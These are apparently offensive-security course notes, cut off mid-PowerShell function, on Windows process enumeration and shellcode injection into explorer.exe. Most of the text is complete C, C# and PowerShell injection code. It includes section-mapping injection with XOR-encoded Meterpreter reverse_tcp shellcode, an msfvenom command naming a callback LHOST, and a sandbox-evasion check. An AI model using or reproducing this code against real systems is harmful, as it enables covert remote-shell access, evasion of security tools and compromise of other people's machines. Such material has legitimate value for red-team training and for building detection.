Process Enum, Injection & Hollowing
Process Enumeration
Before starting a process injection or hollowing, we must first enumerate the different processes.
CreateToolHelp32Snapshot (C)
With this method, a snapshot is created and a string comparison is performed to determine whether the process name matches the intended target process. The issue with this method is when there are multiple instances of a process running at different privilege levels, there's no way to differentiate them during the string comparison (i.e. some svchost.exe processes run with normal user privileges whereas others run with elevated privileges, so there is no way to determine the privilege level during the string comparison).
// Gets the process handle of a process of name szProcessName
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
HANDLE hSnapShot = NULL;
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
// Takes a snapshot of the currently running processes
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Retrieves information about the first process encountered in the snapshot.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// Converting each charachter in Proc.szExeFile to a lowercase character and saving it
// in LowerName to do the wcscmp call later
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// Compare the enumerated process path with what is passed
if (wcscmp(LowerName, szProcessName) == 0) {
// Save the process ID
*dwProcessId = Proc.th32ProcessID;
// Open a process handle and return
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break;
}
// Retrieves information about the next process recorded the snapshot.
// while there is still a valid output ftom Process32Next, continue looping
} while (Process32Next(hSnapShot, &Proc));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
EnumProcesses (C)
https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-enumprocesses
The function returns the Process IDs (PIDs) as an array, without the associated process names. The solution is to use the OpenProcess, GetModuleBaseName and EnumProcessModules WinAPIs.
Using the EnumProcesses process enumeration method provides the PID and handle to the process, and the objective is to obtain the process name. This method is guaranteed to be successful since a handle to the process already exists, solving the issue of the previous method.
With the following code, we can either chose to print all processes or locate an specific one by it's name:
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#define TARGET_PROCESS L"svchost.exe"
BOOL GetRemoteProcessHandle(IN LPCWSTR szProcName, OUT DWORD* pdwPid, OUT HANDLE* phProcess) {
DWORD adwProcesses [1024 * 2],
dwReturnLen1 = NULL,
dwReturnLen2 = NULL,
dwNmbrOfPids = NULL;
HANDLE hProcess = NULL;
HMODULE hModule = NULL;
WCHAR szProc [MAX_PATH];
// Get the array of pid's in the system
if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen1)) {
printf("[!] EnumProcesses Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Calculating the number of elements in the array returned
dwNmbrOfPids = dwReturnLen1 / sizeof(DWORD);
printf("[i] Number Of Processes Detected : %d \n", dwNmbrOfPids);
for (int i = 0; i < dwNmbrOfPids; i++){
// If process is NULL
if (adwProcesses[i] != NULL) {
// Opening a process handle
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, adwProcesses[i])) != NULL) {
// If handle is valid
// Get a handle of a module in the process 'hProcess'.
// The module handle is needed for 'GetModuleBaseName'
if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
printf("[!] EnumProcessModules Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
}
else {
// if EnumProcessModules succeeded
// get the name of 'hProcess', and saving it in the 'szProc' variable
if (!GetModuleBaseName(hProcess, hModule, szProc, sizeof(szProc) / sizeof(WCHAR))) {
printf("[!] GetModuleBaseName Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
}
else {
// Perform the comparison logic
if (wcscmp(szProcName, szProc) == 0) {
// wprintf(L"[+] FOUND \"%s\" - Of Pid : %d \n", szProc, adwProcesses[i]);
// return by reference
*pdwPid = adwProcesses[i];
*phProcess = hProcess;
break;
}
}
}
CloseHandle(hProcess);
}
}
}
// Check if pdwPid or phProcess are NULL
if (*pdwPid == NULL || *phProcess == NULL)
return FALSE;
else
return TRUE;
}
BOOL PrintProcesses() {
DWORD adwProcesses [1024 * 2],
dwReturnLen1 = NULL,
dwReturnLen2 = NULL,
dwNmbrOfPids = NULL;
HANDLE hProcess = NULL;
HMODULE hModule = NULL;
WCHAR szProc [MAX_PATH];
// get the array of pid's in the system
if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen1)) {
printf("[!] EnumProcesses Failed With Error : %d \n", GetLastError());
return FALSE;
}
// calculating the number of elements in the array returned
dwNmbrOfPids = dwReturnLen1 / sizeof(DWORD);
printf("[i] Number Of Processes Detected : %d \n", dwNmbrOfPids);
for (int i = 0; i < dwNmbrOfPids; i++) {
// a small check
if (adwProcesses[i] != NULL) {
// opening a process handle
if ((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, adwProcesses[i])) != NULL) {
// If handle is valid
// Get a handle of a module in the process 'hProcess'.
// The module handle is needed for 'GetModuleBaseName'
if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
printf("[!] EnumProcessModules Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
}
else {
// if EnumProcessModules succeeded
// get the name of 'hProcess', and saving it in the 'szProc' variable
if (!GetModuleBaseName(hProcess, hModule, szProc, sizeof(szProc) / sizeof(WCHAR))) {
printf("[!] GetModuleBaseName Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
}
else {
// printing the process name & its pid
wprintf(L"[%0.3d] Process \"%s\" - Of Pid : %d \n", i, szProc, adwProcesses[i]);
}
}
// close process handle
CloseHandle(hProcess);
}
}
// Iterate through the PIDs array
}
return TRUE;
}
int main() {
DWORD Pid = NULL;
HANDLE hProcess = NULL;
if (!GetRemoteProcessHandle(TARGET_PROCESS, &Pid, &hProcess)) {
return -1;
}
wprintf(L"[+] FOUND \"%s\" - Of Pid : %d \n", TARGET_PROCESS, Pid);
//PrintProcesses();
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
NtQuerySystemInformation (C)
NtQuerySystemInformation is exported from the ntdll.dll module (is a syscall) and therefore it will require the use of GetModuleHandle and GetProcAddress.
The following code uses different versions of SYSTEM_PROCESS_INFORMATION and SYSTEM_INFORMATION_CLASS since they contain more information rather than Microsoft's limited version which contains several Reserved members.
https://doxygen.reactos.org/da/df4/struct__SYSTEM__PROCESS__INFORMATION.html
https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h#L1345
#include <Windows.h>
#include <stdio.h>
#include "Struct.h"
#define TARGET_PROCESS L"Notepad.exe"
typedef NTSTATUS (NTAPI* fnNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
BOOL GetRemoteProcessHandle(IN LPCWSTR szProcName, OUT DWORD* pdwPid, OUT HANDLE* phProcess) {
fnNtQuerySystemInformation pNtQuerySystemInformation = NULL;
ULONG uReturnLen1 = NULL,
uReturnLen2 = NULL;
PSYSTEM_PROCESS_INFORMATION SystemProcInfo = NULL;
PVOID pValueToFree = NULL;
NTSTATUS STATUS = NULL;
// getting NtQuerySystemInformation address
pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation == NULL) {
printf("[!] GetProcAddress Failed With Error : %d\n", GetLastError());
return FALSE;
}
// First NtQuerySystemInformation call
// This will fail with STATUS_INFO_LENGTH_MISMATCH
// But it will provide information about how much memory to allocate (uReturnLen1)
pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1);
// allocating enough buffer for the returned array of `SYSTEM_PROCESS_INFORMATION` struct
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
if (SystemProcInfo == NULL) {
printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
return FALSE;
}
// since we will modify 'SystemProcInfo', we will save its intial value before the while loop to free it later
pValueToFree = SystemProcInfo;
// Second NtQuerySystemInformation call
// Calling NtQuerySystemInformation with the correct arguments, the output will be saved to 'SystemProcInfo'
STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
if (STATUS != 0x0) {
printf("[!] NtQuerySystemInformation Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
while (TRUE) {
// wprintf(L"[i] Process \"%s\" - Of Pid : %d \n", SystemProcInfo->ImageName.Buffer, SystemProcInfo->UniqueProcessId);
// Check the process's name size
// Comparing the enumerated process name to the intended target process
if (SystemProcInfo->ImageName.Length && wcscmp(SystemProcInfo->ImageName.Buffer, szProcName) == 0) {
// openning a handle to the target process and saving it, then breaking
*pdwPid = (DWORD)SystemProcInfo->UniqueProcessId;
*phProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)SystemProcInfo->UniqueProcessId);
break;
}
// if NextEntryOffset is 0, we reached the end of the array
if (!SystemProcInfo->NextEntryOffset)
break;
// moving to the next element in the array
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
}
// Free the initial address
HeapFree(GetProcessHeap(), 0, pValueToFree);
// Check if we successfully got the target process handle
if (*pdwPid == NULL || *phProcess == NULL)
return FALSE;
else
return TRUE;
}
int main() {
DWORD Pid = NULL;
HANDLE hProcess = NULL;
if (!GetRemoteProcessHandle(TARGET_PROCESS, &Pid, &hProcess)) {
wprintf(L"[!] Cound Not Get %s's Process Id \n", TARGET_PROCESS);
return -1;
}
wprintf(L"[+] FOUND \"%s\" - Of Pid : %d \n", TARGET_PROCESS, Pid);
CloseHandle(hProcess);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Shellcode Injection - Process Injection
We can only inject code into processes running at the same or lower integrity level of the current process. This makes explorer.exe a prime target because it will always exist and does not exit until the user logs off. Because of this, we will shift our focus to explorer.exe.
Note that 64-bit versions of Windows can run both 32 and 64-bit processes. This means that we could face four potential migration paths: 64-bit -> 64-bit, 64-bit -> 32-bit, 32-bit -> 32-bit and 32-bit-> 64-bit.
The first three paths will work as expected. However, the fourth (32-bit -> 64-bit) will fail since CreateRemoteThread does not support this.
C Shellcode Injection
Process injection starts by enumerating the processes.
Then, to perform shellcode process injection, we will use the following Windows APIs:
VirtualAllocEx: Memory allocation.
WriteProcessMemory: Write the payload to the remote process.
VirtualProtectEx: Modifying memory protection.
CreateRemoteThread: Payload execution via a new thread.
VirtualFreeEx: Deallocate previously allocated memory in a remote process.
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
// Here goes the encryption used, for example, paste the output of `HellShell.exe calc.bin ipv6`
/*
API functions used to perform process enumeration:
- CreateToolhelp32Snapshot: https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
- Process32First: https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
- Process32Next: https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
- OpenProcess: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
*/
// Gets the process handle of a process of name szProcessName
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
HANDLE hSnapShot = NULL;
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
// Takes a snapshot of the currently running processes
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Retrieves information about the first process encountered in the snapshot.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// Converting each charachter in Proc.szExeFile to a lowercase character and saving it
// in LowerName to do the wcscmp call later
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// Compare the enumerated process path with what is passed
if (wcscmp(LowerName, szProcessName) == 0) {
// Save the process ID
*dwProcessId = Proc.th32ProcessID;
// Open a process handle and return
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break;
}
// Retrieves information about the next process recorded the snapshot.
// while there is still a valid output ftom Process32Next, continue looping
} while (Process32Next(hSnapShot, &Proc));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
/*
API functions used to perform the code injection part:
- VirtualAllocEx: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
- WriteProcessMemory: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
- VirtualProtectEx: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex
- CreateRemoteThread: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
*/
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
PVOID pShellcodeAddress = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
// Allocating memory in "hProcess" process of size "sSizeOfShellcode" and memory permissions set to read and write
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
// Writing the shellcode, pShellcode, to the allocated memory, pShellcodeAddress
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
// Cleaning the buffer of the shellcode in the local process
memset(pShellcode, '\0', sSizeOfShellcode);
// Setting memory permossions at pShellcodeAddress to be executable
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Running the shellcode as a new thread's entry in the remote process
printf("[#] Press <Enter> To Run ... ");
getchar();
printf("[i] Executing Payload ... ");
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE !\n");
return TRUE;
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hProcess = NULL;
DWORD dwProcessId = NULL;
PBYTE pDeobfuscatedPayload = NULL;
SIZE_T sDeobfuscatedSize = NULL;
// Checking command line arguments
if (argc < 2) {
wprintf(L"[!] Usage : \"%s\" <Process Name> \n", argv[0]);
return -1;
}
// Getting a handle to the process
wprintf(L"[i] Searching For Process Id Of \"%s\" ... ", argv[1]);
if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
printf("[!] Process is Not Found \n");
return -1;
}
wprintf(L"[+] DONE \n");
printf("[i] Found Target Process Pid: %d \n", dwProcessId);
printf("[#] Press <Enter> To Decrypt ... ");
getchar();
printf("[i] Decrypting ...");
if (!Ipv6Deobfuscation(Ipv6Array, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
return -1;
}
printf("[+] DONE !\n");
printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);
// Injecting the shellcode
if (!InjectShellcodeToRemoteProcess(hProcess, pDeobfuscatedPayload, sDeobfuscatedSize)) {
return -1;
}
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
CloseHandle(hProcess);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
C# Shellcode Injection
- VirtualAllocEx and WriteProcessMemory
Pros: Widely used and documented method, straightforward to implement, compatible with various versions of Windows.
Cons: Requires injecting shellcode byte by byte, which can be time-consuming, especially for larger payloads.
First in Visual Studio create a new .NET standard Console App.
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
// we’ll begin to import the four required APIs
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
/* Here we implement the call to OpenPorcess. The first argument is the access right we want to obtain for the remote process. Its value will be checked against the security descriptor In our case, we request the PROCESS_ALL_ACCESS249 process right, which will give us complete access to the explorer.exe
Then, we decide whether or not a created child process (true or false). The final argument (dwProcessId) is the process ID of explorer.exe,
this changes after each login and varies by machine. */
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);
/*
The first argument (hProcess) is the process handle to explorer.exe that we just obtained from
OpenProcess and the second, lpAddress, is the desired address of the allocation in the remote
process. If the API succeeds, our new buffer will be allocated with a starting address as supplied
in lpAddress. (if the address given with lpAddress is already allocated and in use, the call
will fail. It is better to pass a null value and let the API select an unused address.)
The last three arguments (dwSize, flAllocationType, and flProtect) mirror the VirtualAlloc API
parameters and specify the size of the desired allocation, the allocation type, and the memory
protections. We’ll set these to 0x1000, 0x3000 (MEM_COMMIT and MEM_RESERVE) and 0x40
(PAGE_EXECUTE_READWRITE), respectively.
*/
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
/*
Now we need to generate a shellcode (example: 64-bit Meterpreter staged shellcode with msfvenom in csharp format)
Next, we’ll copy the shellcode into the memory space of explorer.exe.
*/
byte[] buf = new byte[591] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
// ...
0x0a,0x41,0x89,0xda,0xff,0xd5
};
IntPtr outSize;
/*
WriteProcessMemory also takes five parameters.
First pass the process handle (hProcess) followed by the newly allocated memory address
(lpBaseAddress) in explorer.exe along with the address of the byte array (lpBuffer) containing the
shellcode. The remaining two arguments are the size of the shellcode to be copied (nSize) and a
pointer to a location in memory (lpNumberOfBytesWritten) to output how much data was copied.
*/
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
/*
This API accepts seven arguments, but we will ignore those that aren’t required. The first
argument is the process handle to explorer.exe, followed by the desired security descriptor of the
new thread (lpThreadAttributes) and its allowed stack size (dwStackSize). We will set these to “0”
to accept the default values.
For the fourth argument, lpStartAddress, we must specify the starting address of the thread. In
our case, it must be equal to the address of the buffer we allocated and copied our shellcode into
inside the explorer.exe process. The next argument, lpParameter, is a pointer to variables which
will be passed to the thread function pointed to by lpStartAddress. Since our shellcode does not
need any parameters, we can pass a NULL here.
*/
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
To make the previous script execute the shellcode inside explorer.exe without knowing the process ID, which cannot be known remotely, we can use the Process.GetProcessByName255 method to resolve it dynamically.
This can be usefull for DotNettoJscript because we cant know the process ID remotely.
// ---- snip ------
static void Main(string[] args)
{
// Resolve the process ID dynamically
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
// ---- snip ------
An upgraded project is RemoteShinject (https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/Shellcode%20Process%20Injector)
Is XOR Encoded and accepts an argument for the process to inject into. If no argument is given, it attempts to pick a suitable process based on privilege level.
- NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection, and NtClose
Pros: Offers more control over memory allocation and mapping, allows direct memory manipulation with Marshal.Copy, can potentially bypass certain security mechanisms.
Cons: Relatively complex due to the involvement of low-level APIs, may require additional permissions, compatibility may vary across different Windows versions.
VS Project: https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/Sections%20Shellcode%20Process%20Injector
Example with XOR Encoding:
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
namespace RemoteShinjectLowlevel
{
class Program
{
// FOR DEBUGGING
[DllImport("kernel32.dll")]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
static extern int memcmp(byte[] b1, byte[] b2, long count);
static bool ByteArrayCompare(byte[] b1, byte[] b2)
{
return b1.Length == b2.Length && memcmp(b1, b2, b1.Length) == 0;
}
// END DEBUGGING
public const uint ProcessAllFlags = 0x001F0FFF;
public const uint GenericAll = 0x10000000;
public const uint PageReadWrite = 0x04;
public const uint PageReadExecute = 0x20;
public const uint PageReadWriteExecute = 0x40;
public const uint SecCommit = 0x08000000;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("ntdll.dll", SetLastError = true)]
static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize,
UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize,
out ulong SectionOffset, out uint ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
static extern int NtClose(IntPtr hObject);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
static void Main(string[] args)
{
// Sandbox evasion
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if (mem == null)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
// XORed with key 0xfa
byte[] buf = new byte[511] {
0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa, 0xa8,
// ………………………
0xab, 0xac, 0xb2, 0xcb, 0x28, 0x9f, 0xb2, 0x71, 0xa8, 0x9a, 0xb2, 0x71, 0xa8, 0xe2, 0xb2,
};
int len = buf.Length;
uint uLen = (uint)len;
// Get a handle on the local process
IntPtr lHandle = Process.GetCurrentProcess().Handle;
Console.WriteLine($"Got handle {lHandle} on local process.");
// Grab the right PID
string targetedProc = "explorer"; //change :)
int procId = Process.GetProcessesByName(targetedProc).First().Id;
// Get a handle on the remote process
IntPtr pHandle = OpenProcess(ProcessAllFlags, false, procId);
Console.WriteLine($"Got handle {pHandle} on PID {procId} ({targetedProc}).");
// Create a RWX memory section with the size of the payload using 'NtCreateSection'
IntPtr sHandle = new IntPtr();
long cStatus = NtCreateSection(ref sHandle, GenericAll, IntPtr.Zero, ref uLen, PageReadWriteExecute, SecCommit, IntPtr.Zero);
Console.WriteLine($"Created new shared memory section with handle {sHandle}. Success: {cStatus == 0}.");
// Map a view of the created section (sHandle) for the LOCAL process using 'NtMapViewOfSection'
IntPtr baseAddrL = new IntPtr();
uint viewSizeL = uLen;
ulong sectionOffsetL = new ulong();
long mStatusL = NtMapViewOfSection(sHandle, lHandle, ref baseAddrL, IntPtr.Zero, IntPtr.Zero, out sectionOffsetL, out viewSizeL, 2, 0, PageReadWrite);
Console.WriteLine($"Mapped local memory section with base address {baseAddrL} (viewsize: {viewSizeL}, offset: {sectionOffsetL}). Success: {mStatusL == 0}.");
// Map a view of the same section for the specified REMOTE process (pHandle) using 'NtMapViewOfSection'
IntPtr baseAddrR = new IntPtr();
uint viewSizeR = uLen;
ulong sectionOffsetR = new ulong();
long mStatusR = NtMapViewOfSection(sHandle, pHandle, ref baseAddrR, IntPtr.Zero, IntPtr.Zero, out sectionOffsetR, out viewSizeR, 2, 0, PageReadExecute);
Console.WriteLine($"Mapped remote memory section with base address {baseAddrR} (viewsize: {viewSizeR}, offset: {sectionOffsetR}). Success: {mStatusR == 0}.");
// Decode shellcode
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
// Copy shellcode to locally mapped view, which will be reflected in the remote mapping
Marshal.Copy(buf, 0, baseAddrL, len);
Console.WriteLine($"Copied shellcode to locally mapped memory at address {baseAddrL}.");
// DEBUG: Read memory at remote address and verify it's the same as the intended shellcode
byte[] remoteMemory = new byte[len];
IntPtr noBytesRead = new IntPtr();
bool result = ReadProcessMemory(pHandle, baseAddrR, remoteMemory, remoteMemory.Length, out noBytesRead);
bool sameSame = ByteArrayCompare(buf, remoteMemory);
Console.WriteLine($"DEBUG: Checking if shellcode is correctly placed remotely...");
if (sameSame != true)
{
Console.WriteLine("DEBUG: NOT THE SAME! ABORTING EXECUTION.");
return;
}
else
{
Console.WriteLine("DEBUG: OK.");
}
// END DEBUG
// Execute the remotely mapped memory using 'CreateRemoteThread' (EWWW high-level APIs!!!)
if (CreateRemoteThread(pHandle, IntPtr.Zero, 0, baseAddrR, IntPtr.Zero, 0, IntPtr.Zero) != IntPtr.Zero)
{
Console.WriteLine("Injection done! Check your listener!");
}
else
{
Console.WriteLine("Injection failed!");
}
// Unmap the locally mapped section view using 'NtUnMapViewOfSection'
uint uStatusL = NtUnmapViewOfSection(lHandle, baseAddrL);
Console.WriteLine($"Unmapped local memory section. Success: {uStatusL == 0}.");
// Close the section
int clStatus = NtClose(sHandle);
Console.WriteLine($"Closed memory section. Success: {clStatus == 0}.");
}
}
}
PS Shellcode Injection
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
